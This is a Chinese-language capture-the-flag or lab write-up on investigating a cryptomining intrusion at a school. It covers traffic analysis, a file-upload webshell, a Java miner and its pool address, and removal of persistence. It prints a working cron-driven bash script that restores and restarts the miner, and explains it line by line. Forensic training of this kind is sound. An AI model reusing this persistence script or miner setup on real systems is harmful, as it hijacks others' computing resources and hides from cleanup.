当前位置: 首页 > news >正文

挖矿-学校挖矿排查

挖矿-学校挖矿排查

1、使用工具分析共有多少IP存在扫描web特征,提交其数量

这里我们直接访问百度网盘将流量下载到本地然后直接导入到 ZUI里面,这个工具很方便对流量进行筛选

流量分析工具ZUI安装

然后使用命令搜索

count() by id.orig_h,status_code|status_code == 404

可以看到右下角有32条 但是这里也要排除本身的IP 那种数据量少的不符合攻击机的ip流量特征,以及要排除本身的ip总共出去四条 但是这里并没有显示所有是三条 所以存在IP扫描特征的web总共 29条

image-20251021164934427

flag{29}

或者直接在wireshark里面点击统计,IPv4,ALL address

image-20251021165222521

在下面显示过滤器里面搜索 http.response.code == 404

image-20251021165412849

在这里本机ip的流量也会出现

2、在2025.6.22日17点03分27秒,192.168.37.10,55689端口进行访问的url路径以flag方式进行提交(应急三要素缩小范围)

这里看了州学弟大佬的视频使用提示词给我生成了一条wireshark提示词

在2025.6.22日17点03分27秒,192.168.37.10 ,55689端口进行访问url路径
给我wireshark筛选语句
frame.time >= "Jun 22, 2025 17:03:27" and frame.time <= "Jun 22, 2025 17:03:28" 
and (ip.src == 192.168.37.10 or ip.dst == 192.168.37.10) 
and tcp.port == 55689

image-20251021165927946

可以看到这里有几条http的流量但是在这个时间段我们也不知道是那个url是flag 这几个都分别提交一下最后flag为

flag{/uploads/06853c4f-8b05-4949-90ae-9adc49f27a94.jsp}

3、提交存在使用NMAP扫描特征的IP

这里让我们赵哪些流量有Nmap 在有nmap的流量包里面的user-agent里面是有Nmap字段的,我们可以以此为契机直接搜索哪些流量里面有nmap字段

http.user_agent contains "Nmap

image-20251021170551494

或者使用

tcp.flags.syn ==1 && tcp.flags.ack ==0

image-20251021170621388

flag{192.168.37.4}

命令解析:tcp.flags.syn == 1 && tcp.flags.ack == 0

这是 Wireshark 的显示过滤语法,用于匹配满足以下条件的 TCP 数据包:

字段 含义
tcp.flags.syn == 1 TCP 报头中 SYN 标志位被置为 1(表示“同步序列号”,发起连接)
tcp.flags.ack == 0 TCP 报头中 ACK 标志位为 0(表示这不是一个确认包) 因此,该过滤器匹配的是:

所有设置了 SYN 位但未设置 ACK 位的 TCP 数据包

即:TCP 三次握手的第一个数据包 —— 客户端发起连接请求(SYN 包)

二、Nmap 的默认扫描方式:SYN Scan(-sS)

Nmap 最常用的扫描方式是 SYN 扫描(半开放扫描),其特点是:

  1. Nmap 发送一个 SYN 包 到目标端口;
  2. 如果目标返回 SYN-ACK → 端口开放;
  3. 如果目标返回 RST → 端口关闭;
  4. Nmap 不会完成三次握手,即不发送最后的 ACK;
  5. 这样既探测了端口状态,又不会建立完整连接,隐蔽性强。

Nmap SYN 扫描过程示例:

攻击机 (Nmap)       →      目标主机SYN ---------------->  Port X←-------------- SYN-ACK   (Port Open)RST (本地重置)           ← 不发送 ACK!

Copy

Plain text

所以你会发现:只有第一个 SYN 包是从外部主动发往目标的,并且它的特征就是:SYN=1, ACK=0

三、为什么这个特征能检测到 Nmap 流量?

正常用户行为 vs Nmap 扫描行为对比

行为类型 典型 TCP 特征 是否常见
正常浏览器访问(如打开网页) 完整三次握手: SYN → SYN-ACK ← ACK → ✔️ 常见
Nmap -sS 扫描多个端口 大量子网内主机/端口发送大量 SYN=1, ACK=0 ❌ 异常
操作系统正常通信 几乎不会有大批量 SYN=1, ACK=0 发往不同端口 ❌ 极少出现

在短时间内,如果某个源 IP 向多个目标 IP 或同一 IP 的多个端口发送大量:

SYN=1, ACK=0

Copy

Plain text

的数据包,而没有后续的 ACK(说明不是真实应用层连接),这就极有可能是 端口扫描行为,尤其是 Nmap 的典型指纹。

4、审计流量并结合web站点,攻击者通过什么漏洞进行控制主机,提交漏洞文件名接口

这里也是使用zui进行排查

count () by id.orig_h,status_code,uri|status_code==200|sort -r count

image-20251021173234653

在这里看到 /uploads/70b86b64-ce15-46bf-8095-4764809e2ee5.jsp 但是这里不是这个应该是个木马文件 这里是第二个 /servlet/user/profile?uploadSuccess=true 我们再去wireshark里面搜索一下

ip.addr == 192.168.37.10 &&http.request.uri=="/servlet/user/profile?uploadSuccess=true"

image-20251021174007770

image-20251021174038299

可以看到这里有冰蝎的webshell流量

flag{uploadAvatar}

5、审计流量并结合web站点,攻击者通过哪个用户名利用的漏洞,提交其注册用户名

我们在目标站点点击登录接口,

image-20251021183027496

这里有个登录接口 /servlet/user/login

image-20251021174517299

image-20251021174923929

这里使用了出现了账号密码并且下面出现了302跳转

flag{wangyunqing}

6、审计流量并结合漏洞,提交攻击者控制成功木马文件名

在前面统计的时候发现这个文件/uploads/70b86b64-ce15-46bf-8095-4764809e2ee5.jsp 流量包很多怀疑是木马文件 我们在wireshark里面搜索一下

image-20251021173234653

image-20251021175245002

在里面找一条POST流量包 丢入蓝队分析取证工具 没有的可以看一下 希潭实验室获取

image-20251021175325630

flag{70b86b64-ce15-46bf-8095-4764809e2ee5.jsp}

7、审计流量并清除掉攻击者上传的木马,清除成功后在/var/flag/1/flag中查看flag并提交

这里我们清楚上传木马文件是 70b86b64-ce15-46bf-8095-4764809e2ee5.jsp这里需要进行模糊搜索

find / -name *2ee5.jsp

image-20251021180307979

image-20251021180414270

将这个文件删除拿到flag

flag{1979c46c2af37dc62a4b05881e816995}

8、黑客拿到主机权限后,上传了挖矿木马,需要你提交矿池地址

使用top查看当前cpu占用率 可以看到这个java进程的cpu占用率最高。

image-20251021180517339

image-20251021180611955

在进程里面能看到这个java地址 ,使用finallshell将这个java包下载到本地

image-20251021183346306

使用idea反编译一下即可拿到flag

flag{pool.minexmr.com:4444}

9、清除掉主机上的挖矿木马,完成后在/var/flag/2/flag文件中查看flag并提交

image-20251021180758521

flag{da236fe0cda81bfc03d022799589110e}

10、黑客做了后门,即使你清除以后,仍然会定时更新挖矿程序并运行,你找到这个程序,提交其路径

这里提到了定时,我们怀疑是不是有计划任务 使用crontab -l 查看当前计划任务 在当前计划任务里面有一个.sh文件

image-20251021181011829

image-20251021181056969

#!/bin/bashSOURCE_FILE="/usr/share/.miner/miner.jar"
DEST_FILE="/tmp/miner.jar"
PROCESS_NAME="java -jar $DEST_FILE"
LOG_FILE="/var/log/.malware_events.log"if pgrep -f "$PROCESS_NAME" > /dev/null; thenexit 0
elseecho "[$(date)] Miner process not found. Taking action..." >> "$LOG_FILE"if [ ! -f "$DEST_FILE" ]; thenecho "[$(date)] Miner file ($DEST_FILE) is missing. Restoring from backup..." >> "$LOG_FILE"cp "$SOURCE_FILE" "$DEST_FILE"chmod +x "$DEST_FILE"fiif [ -f "$DEST_FILE" ]; thennohup java -jar "$DEST_FILE" > /dev/null 2>&1 &echo "[$(date)] Miner process restarted with PID $!." >> "$LOG_FILE"elseecho "[$(date)] CRITICAL: Could not restore miner file from backup. Cannot start." >> "$LOG_FILE"fi
这是一个 Linux 系统下的挖矿病毒自启动守护脚本,其作用是确保一个基于 Java 的挖矿程序(miner.jar)在后台持续运行。如果该挖矿进程被终止或文件被删除,此脚本会自动恢复并重新启动它。
项目 分析
类型 Linux 下的 Java 基于的 加密货币挖矿木马(Crypto Miner)
语言依赖 需要系统安装 Java 环境(JRE/JDK),常见为 OpenJDK 或 Oracle JDK
传播方式推测 可能通过弱口令 SSH、未授权 Redis、Webshell 等方式植入
持久化机制 1. 定时任务(crontab) 2. systemd 服务 3. 此类守护脚本定期检查重启
隐蔽性设计 文件路径全为隐藏(. 开头)日志伪装成正常系统日志进程伪装为普通 Java 应用
危害表现 CPU 占用飙升、服务器变慢、电费/资源浪费、可能成为跳板机进一步横向渗透
flag{/usr/share/.per/persistence.sh}

脚本功能逐行分析

#!/bin/bash

Copy

Bash

  • 指定使用 bash 解释器执行该脚本。
SOURCE_FILE="/usr/share/.miner/miner.jar"
DEST_FILE="/tmp/miner.jar"
PROCESS_NAME="java -jar $DEST_FILE"
LOG_FILE="/var/log/.malware_events.log"

Copy

Bash

  • 定义关键变量:
    • SOURCE_FILE:原始的挖矿 JAR 文件备份路径(隐藏目录,通常用于持久化存储)。
    • DEST_FILE:当前运行的挖矿程序副本路径(放在 /tmp 目录下,重启后可能丢失,但脚本能从源恢复)。
    • PROCESS_NAME:要监控的进程命令名(java -jar /tmp/miner.jar)。
    • LOG_FILE:记录恶意活动日志的路径(也隐藏在系统日志目录中)。
if pgrep -f "$PROCESS_NAME" > /dev/null; thenexit 0
elseecho "[$(date)] Miner process not found. Taking action..." >> "$LOG_FILE"

Copy

Bash

  • 使用 pgrep -f 查找是否正在运行目标进程(通过完整命令行匹配)。
  • 如果找到,则退出脚本(无需操作);
  • 否则,表示挖矿进程已停止,开始“修复”流程,并记录时间戳到日志。
    if [ ! -f "$DEST_FILE" ]; thenecho "[$(date)] Miner file ($DEST_FILE) is missing. Restoring from backup..." >> "$LOG_FILE"cp "$SOURCE_FILE" "$DEST_FILE"chmod +x "$DEST_FILE"fi

Copy

Bash

  • 判断 /tmp/miner.jar 是否存在。
  • 若不存在,则从隐藏备份路径 /usr/share/.miner/miner.jar 复制过来,并赋予可执行权限。
    if [ -f "$DEST_FILE" ]; thennohup java -jar "$DEST_FILE" > /dev/null 2>&1 &echo "[$(date)] Miner process restarted with PID $!." >> "$LOG_FILE"elseecho "[$(date)] CRITICAL: Could not restore miner file from backup. Cannot start." >> "$LOG_FILE"fi
fi

Copy

Bash

  • 检查恢复后的文件是否存在。

    • 存在 → 使用

      nohup
      

      在后台启动 Java 挖矿程序(避免终端关闭中断),并将输出丢弃。

      • $! 是刚启动进程的 PID,写入日志便于追踪。
    • 不存在 → 写入严重错误日志,无法启动。

11、清除掉后门挖矿程序,在/var/flag/3/flag下查看提交flag

首先我们先删除备份的木马文件

rm -rf /usr/share/.miner/miner.jar

其次我们删除这个后面挖矿程序

rm -rf /usr/share/.per/persistence.sh

取消当前计划任务

crontab -e

image-20251021182028678

最后杀死当前进程

image-20251021182152240

flag{27bd067769b51ed71f899c7a6f08af2c}
http://www.hskmm.com/?act=detail&tid=36025

相关文章:

  • 杂谈
  • 读书日记2
  • 鸿蒙hdc命令【杭州多测师】
  • 定位问题3:明明堆栈已经打印出来了,偏就是定位不出来?
  • Spring 统一机制处理 - 拦截器与适配器
  • 如何将海量纸质表格一键数字化?表格识别技术给出答案
  • 10.21 NOIP 模拟赛 T1. 小 h 学步
  • 深入解析:大数据Spark(六十六):Transformation转换算子sample、sortBy和sortByKey
  • 完整教程:web前端团队开发code review方案最佳实践
  • 加密货币如何改变金融诈骗的游戏规则
  • 最大值的不同统计方法
  • 远程服务器显示pyQt界面
  • java的字符和字符串
  • python_日志记录-loguru
  • VSCode直观显示tensor形状
  • 软工第三次作业--结对作业
  • Day1HTML的基本骨架
  • 树上依赖性背包 学习笔记 | P6326 Shopping 题解
  • java标识符
  • 题解:uoj961【UR #30】赛场设计
  • 位运算快速卷积 快速沃尔什变换 FWT
  • 嵌合抗体:破解二抗选择难题,赋能多重分子检测的核心工具
  • 原来用聊天记录就可以创造数字分身!WeClone项目在Lab4AI平台上的复现
  • 自监督提示优化SPO
  • Java中的注释
  • 实测!不同场景下,哪款 AI IDE 能真正帮你少加班?
  • CSP-S模拟36 2025.10.21
  • 2025 年 AI 编程工具生成效果全景比拼:从技术实力到综合评分
  • 打造AI IDE标杆产品,腾讯CodeBuddy深度全方位解析
  • C语言项目开发常用目录结构 - Invinc